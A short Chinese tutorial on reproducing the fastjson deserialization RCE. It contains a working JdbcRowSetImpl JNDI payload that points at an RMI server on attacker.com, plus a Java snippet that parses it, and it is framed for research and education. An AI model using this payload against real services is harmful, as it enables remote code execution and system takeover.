fastjson rce复现

fastjson是一款流行的Java JSON库，但因其在解析JSON中的不安全行为而存在远程代码执行（RCE）漏洞。为了复现该漏洞，我们可以按照以下步骤进行操作：

第一步是选择一个适当的fastjson版本，建议使用较早的版本，因为新的版本通常会修复漏洞。将fastjson库添加到Java项目的依赖中。

第二步是创建一个恶意JSON字符串，该字符串中包含能够触发RCE漏洞的payload。例如，可以使用如下的JSON字符串：

{
   "@type":"com.sun.rowset.JdbcRowSetImpl",
   "dataSourceName":"rmi://attacker.com:1099/Exploit",
   "autoCommit":true
}

在这个例子中，我们使用了`com.sun.rowset.JdbcRowSetImpl`类作为目标，其中连接地址指向攻击者控制的RMI服务器，用于向受害系统发送恶意代码。

第三步是编写Java代码，并将上一步创建的JSON字符串作为输入传递给fastjson的解析器。以下是一个简单的示例：

import com.alibaba.fastjson.JSON;

public class FastjsonRce {
   public static void main(String[] args) {
      String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://attacker.com:1099/Exploit\",\"autoCommit\":true}";
      Object parsedObject = JSON.parse(maliciousJson);
   }
}

在这个示例中，我们使用`JSON.parse`方法将JSON字符串解析为一个对象。fastjson在解析时会实例化目标类，并调用其构造函数和setter方法，从而导致RCE漏洞的利用。

第四步是运行上述Java代码，并观察是否成功复现了RCE漏洞。如果目标系统受到fastjson的漏洞影响，恶意代码会在解析过程中被执行，从而使攻击者可以远程控制该系统。

需要注意的是，复现fastjson RCE漏洞仅用于研究和教育目的，并且应在法律合规和授权的情况下进行。漏洞利用是非法行为，可能导致严重的法律后果。